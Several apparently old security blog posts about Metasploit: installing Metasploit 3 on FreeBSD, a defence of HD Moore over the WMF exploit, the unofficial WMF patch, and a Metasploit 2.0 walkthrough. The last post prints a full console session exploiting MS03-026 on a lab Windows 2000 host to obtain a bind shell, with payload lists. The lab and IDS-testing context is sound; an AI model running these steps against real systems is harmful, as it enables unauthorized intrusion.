Metasploit 3 on FreeBSD

I've wanted to try Metasploit 3 since it was released in late March. I noticed the metasploit/devel FreeBSD port, but it wanted me to install framework-3.0-beta-3-svn.tar.gz. I decided to install Metasploit 3 (gold) manually, using the FreeBSD port dependencies for guidance.

I installed the following via the ports tree:

• devel/subversion


• devel/ruby-gems


• databases/rubygem-activerecord


• lang/ruby18

Then I extracted the framework-3.0.tar.gz I downloaded to /usr/local/src.

When I tried to run msfweb, I got this error:

Cannot find gem for Rails ~> 1.2.2.0:
Install the missing gem with “gem install - v=1.2.2 rails”,
or change environment.rb to define RAILS_GEM_VERSION with
your desired version.

Hmm. First I decided I needed to install www/rubygem-rails, which I did. Next I looked in framework-3.0/data/msfweb/config and found environment.rb, with these lines which I added to specify 1.2.3 instead of 1.2.2:

# Specifies gem version of Rails to use when vendor/rails is not present
#RAILS_GEM_VERSION = '1.2.2' unless defined? RAILS_GEM_VERSION
RAILS_GEM_VERSION = '1.2.3' unless defined? RAILS_GEM_VERSION

Next I started msfweb and told it to bind to an IP I could reach.

neely-bsd:/usr/local/src/framework-3.0# ruby ./msfweb -a 192.168.2.9

[*] Starting msfweb v3.0 on http://192.168.2.9:55555/

=> Booting WEBrick...
=> Rails application started on http://192.168.2.9:55555
=> Ctrl-C to shutdown server; call with --help for options

When I connected to the specified IP and port with a Web browser, I was able to exploit a demo Windows target without issue. The new interface is slick. It looks like most of the evasion options are for layer 4 and higher.

Read More

In Defense of HD Moore

Thanks to Tom Ptacek, I learned of a truly lame SANS poll questioning the responsibility of the Metasploit ie_xp_pfv_metafile component. The poll results as of now show the following:

Was the release of the 2nd generation WMF exploit on Dec 31st 2005 irresponsible ?

35 % =>Yes, I 'd like to see the authors brought to justice
21 % =>Yes, they made the world a worse place
32 % =>No, the bad guys had already equal ammunition
11 % =>No, I believe the ends did justify the means
Total Answers: 1379

Regarding the first option -- what law exists against writing Metasploit components? About the last -- what "ends" are in play? I would have liked to have seen the following option:

"No, I now have a means to test the effectiveness of patches, 
anti-virus/malware products, and other defensive measures."

Without a way to test the effectiveness of countermeasures, defenders are as much at the mercy of the intruders as they are the software vendors who fail to provide timely patches.

I found that many of the poll comments do not seem to reflect the majority of "Yes" (meaning "irresponsible") votes, and some reflect the sentiment of this post.

I highly recommend reading Tom's post and his link to criticism of SATAN in 1995. The history major in me speaks up once in a while to say "nothing ever changes."

Read More

The Power of Open Source

One of the criticisms of open source software is that there is no one to blame when a customer needs a problem solved. For example, if an open source OS or application is found to suffer a vulnerability, no one is seen to be responsible for patching it. Following this line of thinking, commercial software is considered a superior choice for consumers (whether corporations or individuals). When a problem happens, users can rely on the vendor.

The recent SANS ISC post about the WMF vulnerability has completely annihilated this argument. I have criticized SANS in the past, but I cannot fault their handling of the ongoing fiasco. I've never seen anything like this plea by Tom Liston before:

Looking forward to the week ahead, I find myself in the very peculiar position of having to say something that I don't believe has ever been said here in the Handler's diary before: "Please, trust us."

I've written more than a few diaries, and I've often been silly or said funny things, but now, I'm being as straightforward and honest as I can possibly be: the Microsoft WMF vulnerability is bad. It is very, very bad.

We've received many emails from people saying that no one in a corporate environment will find using an unofficial patch acceptable.

Acceptable or not, folks, you have to trust someone in this situation.

To the best of my knowledge, over the past 5 years, this rag-tag group of volunteers hasn't asked for your trust: we've earned it. Now we're going to expend some of that hard-earned trust:

This is a bad situation that will only get worse. The very best response that our collective wisdom can create is contained in this advice - unregister shimgvw.dll and use the unofficial patch. You need to trust us.

The unofficial patch Tom references was written by Ilfak Guilfanov and described here. What is this? It's a patch created by a non-Microsoft developer, acting more rapidly than Microsoft itself. Sure, you can argue that Microsoft is working now to develop a patch that will hopefully address deeper problems, perhaps serious problems. Nevertheless, SANS has reverse engineered the unoffical patch to ensure its validity, wrote a FAQ about the vulnerability, and is now hosting a .msi to ease patch installation. This is unprecedented.

Where is Microsoft on this issue? They published their initial advisory on 28 Dec and updated it 30 Dec. Nothing they've done has helped resolve the issue. Meanwhile, the Metasploit project has released a module to generate malicious WMF files. This puts exploit creation in the hands of the lowest common denomintaor.

F-Secure reports the WMF issue is truly "a feature, not a bug," due to Microsoft's design of the WMF format. In fact, F-secure says

"'The WMF vulnerability' probably affects more computers than any other security vulnerability, ever."

Everyone who paid good money to Microsoft to fulfill its duty as a commercial vendor selling closed, proprietary software is still waiting for an official patch. Meanwhile, users are owned by exploit spam and targeted WMF email attacks. Remember this example the next time your management refuses to allow running open source software because "no one is responsible for problems."

When private third parties like SANS and Ilfak Guilfanov have to step up to the plate to save the world, the argument for exclusively running closed, proprietary software with a poor security record is weak indeed.

Note: I do not mean to unduly criticize Microsoft employees. I know several of them who are really sharp. At the end of the day, however, Microsoft as a corporation is AWOL on the WMF issue.

Update: SANS has temporarily pulled their .msi. However, I just installed the original .exe on a Windows XP SP2 system without incident. I also unregistered the shimgvw.dll library. Ilfak Guilfanov's patch creates this directory on the host:

C:\Program Files\WindowsMetafileFix>dir
 Volume in drive C has no label.
 Volume Serial Number is 30EF-BD7B

 Directory of C:\Program Files\WindowsMetafileFix>

01/02/2006  08:52 AM     DIR           .
01/02/2006  08:52 AM     DIR           ..
01/01/2006  12:38 PM               155 compile.bat
01/01/2006  03:54 PM             1,141 Readme.txt
01/02/2006  08:52 AM             3,537 unins000.dat
01/02/2006  08:52 AM           673,546 unins000.exe
01/01/2006  03:41 PM             7,022 wmfhotfix.cpp
               5 File(s)        685,401 bytes
               2 Dir(s)   3,207,041,024 bytes free

C:\Program Files\WindowsMetafileFix>type Readme.txt
MS WINDOWS METAFILE VULNERABILITY HOTFIX v1.3

PLEASE READ THE FOLLOWING CAREFULLY!

This is a temporary fix for the MS Windows
Metafile file vulnerability:

http://www.hexblog.com/2005/12/wmf_vuln.html

It has been tested on Windows 2000, Windows XP,
and Windows XP Professional 64bit.
Please use it at your own risk and switch
to the official patch from Microsoft as soon
as it is be available.

THIS FIX IS PROVIDED 'AS IS' WITHOUT WARRANTY OF
ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING,
BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF FITNESS
FOR A PURPOSE, OR THE WARRANTY OF NON-INFRINGEMENT.

IN NO EVENT SHALL ILFAK GUILFANOV BE LIABLE TO YOU
OR ANY THIRD PARTIES FOR ANY SPECIAL, PUNITIVE,
INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES
OF ANY KIND, OR ANY DAMAGES WHATSOEVER, INCLUDING,
WITHOUT LIMITATION, THOSE RESULTING FROM LOSS OF USE,
DATA OR PROFITS, WHETHER OR NOT HE HAS BEEN ADVISED
OF THE POSSIBILITY OF SUCH DAMAGES, AND ON ANY THEORY OF
LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE
OF THIS SOFTWARE.

Copyright 2006 by Ilfak Guilfanov, ig@hexblog.com
http://www.hexblog.com

As you can see, you can inspect the .cpp file and compile it yourself if you do not want to run the compiled wmffix_hexblog13.exe.

Read More

Metasploit 2.3 Released

I wrote about the Metasploit Framework in April 2004. The Metasploit Framework is an advanced open-source platform for developing, testing, and using exploit code. This week they released version 2.3, which offers 3 user interfaces, 46 exploits, and 68 payloads. One of the more interesting additions is the Meterpreter (.pdf). This is a replacement for calling cmd.exe on Windows after an exploit succeeds. Windows support is currently offered and UNIX (to replace calling /bin/sh) is planned. The Meterpreter is extensible, so you can add features once you gain control of the target. You can browse the exploits and payloads using their Web-based interface.

Read More

Metasploit Framework in Action

You may have seen the Slashdot article on the Metasploit Project. From the project's Web site:

"The Metasploit Framework is an advanced open-source platform for developing, testing, and using exploit code. This release includes 18 exploits and 27 payloads; many of these exploits are either the only ones publicly available or just much more reliable than anything else out there. The Framework will run on any modern system that has a working Perl interpreter."

I gave the project a try. First I read the Crash Course user's guide, which told me to install p5-ReadLine-Gnu. I did so using the FreeBSD ports tree:

orr:/usr/ports/devel/p5-ReadLine-Gnu# make install
===>  Vulnerability check disabled, database not found
>> Term-ReadLine-Gnu-1.14.tar.gz doesn't seem to exist in /usr/ports/distfiles/.
>> Attempting to fetch from http://www.cpan.dk/CPAN/modules/by-module/Term/.
Receiving Term-ReadLine-Gnu-1.14.tar.gz (65140 bytes): 100%
...truncated...

Once done, I ran the msfconsole and used one of the included exploits to compromise a Windows 2000 system in my lab. First I run msfconsole:

orr:/home/richard/framework-2.0$ perl ./msfconsole
+ -- --=[ msfconsole v2.0 [18 exploits - 27 payloads]

msf > help

Metasploit Framework Main Console Help
======================================

        ?            Show the main console help
        cd           Change working directory
        exit         Exit the console
        help         Show the main console help
        info         Display detailed exploit or payload information
        quit         Exit the console
        reload       Reload exploits and payloads
        save         Save configuration to disk
        setg         Set a global environment variable
        show         Show available exploits and payloads
        unsetg       Remove a global environment variable
        use          Select an exploit by name
        version      Show console version

Next I check out the loaded exploits and select one for MS03-026:

msf > show exploits

Metasploit Framework Loaded Exploits
====================================

  apache_chunked_win32       Apache Win32 Chunked Encoding
  blackice_pam_icq           Blackice/RealSecure/Other ISS ICQ Parser Buffer Overflow
  exchange2000_xexch50       Exchange 2000 MS03-46 Heap Overflow
  frontpage_fp30reg_chunked  Frontpage fp30reg.dll Chunked Encoding
  ia_webmail                 IA WebMail 3.x Buffer Overflow
  iis50_nsiislog_post        IIS 5.0 nsiislog.dll POST Overflow
  iis50_printer_overflow     IIS 5.0 Printer Buffer Overflow
  iis50_webdav_ntdll         IIS 5.0 WebDAV ntdll.dll Overflow
  imail_ldap                 IMail LDAP Service Buffer Overflow
  msrpc_dcom_ms03_026        Microsoft RPC DCOM MSO3-026
  mssql2000_resolution       MSSQL 2000 Resolution Overflow
  poptop_negative_read       PoPToP Negative Read Overflow
  realserver_describe_linux  RealServer Describe Buffer Overflow
  samba_trans2open           Samba trans2open Overflow
  sambar6_search_results     Sambar 6 Search Results Buffer Overflow
  servu_mdtm_overflow        Serv-U FTPD MDTM Overflow
  solaris_sadmind_exec       Solaris sadmind Command Execution
  warftpd_165_pass           War-FTPD 1.65 PASS Overflow

msf > use msrpc_dcom_ms03_026

Once I have an exploit selected, I need to set the options it needs:

msf msrpc_dcom_ms03_026 > show options

Exploit Options
===============

  Exploit:    Name      Default    Description
  --------    ------    -------    ------------------    
  required    RPORT     135        The target port
  required    RHOST                The target address
  
msf msrpc_dcom_ms03_026 > set RHOST 10.10.10.3
RHOST -> 10.10.10.3

msf msrpc_dcom_ms03_026 > show targets

Supported Exploit Targets
=========================

   0  Windows NT SP6/2K/XP ALL

With an exploit selected, I also need to choose a payload. This tells the Metasploit framework how I wish to interact with the target. I choose a simple binding connection.

msf msrpc_dcom_ms03_026 > show payloads

Metasploit Framework Usable Payloads
====================================

  winadduser               Create a new user and add to local Administrators group
  winbind                  Listen for connection and spawn a shell
  winbind_stg              Listen for connection and spawn a shell
  winbind_stg_upexec       Listen for connection then upload and exec file
  winexec                  Execute an arbitrary command
  winreverse               Connect back to attacker and spawn a shell
  winreverse_stg           Connect back to attacker and spawn a shell
  winreverse_stg_ie        Listen for connection, send address of GP/LL across,
                                      read/exec InlineEgg
  winreverse_stg_upexec    Connect back to attacker and spawn a shell

msf msrpc_dcom_ms03_026 > info payload winbind

       Name: winbind
    Version: $Revision: 1.15 $
     OS/CPU: win32/x86
Needs Admin: No
 Multistage: No
 Total Size: 374

Provided By:
    H D Moore  [Artistic License]

Available Options:
    optional:             EXITFUNC       Exit technique: "process", "thread", "seh"
    required:             LPORT          Listening port for bind shell

Description:
    Listen for connection and spawn a shell

msf msrpc_dcom_ms03_026 > set PAYLOAD winbind
PAYLOAD -> winbind

msf msrpc_dcom_ms03_026(winbind) > show options

Exploit and Payload Options
===========================

  Exploit:    Name      Default       Description
  --------    ------    ----------    ------------------    
  required    RPORT     135           The target port
  required    RHOST     10.10.10.3    The target address
  
  Payload:    Name        Default    Description
  --------    --------    -------    ------------------------------------------    
  optional    EXITFUNC    seh        Exit technique: "process", "thread", "seh"
  required    LPORT                  Listening port for bind shell
  
msf msrpc_dcom_ms03_026(winbind) > set LPORT 9999
LPORT -> 9999

Once I have set the required options, I launch the exploit and get a shell:

msf msrpc_dcom_ms03_026(winbind) > exploit
[*] Starting Bind Handler.
[*] Connected to REMACT with group ID 0x90e5
[*] Got connection from 10.10.10.3:9999

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

C:\WINNT\system32>netstat -na
...edited...
  TCP    10.10.10.3:9999        192.168.50.2:26297     ESTABLISHED
...truncated...

I see this project providing an easy way to launch exploits to test IDS deployments. It's very powerful and flexible. Previously I used raccess to easily launch exploits for IDS testing purposes.

Read More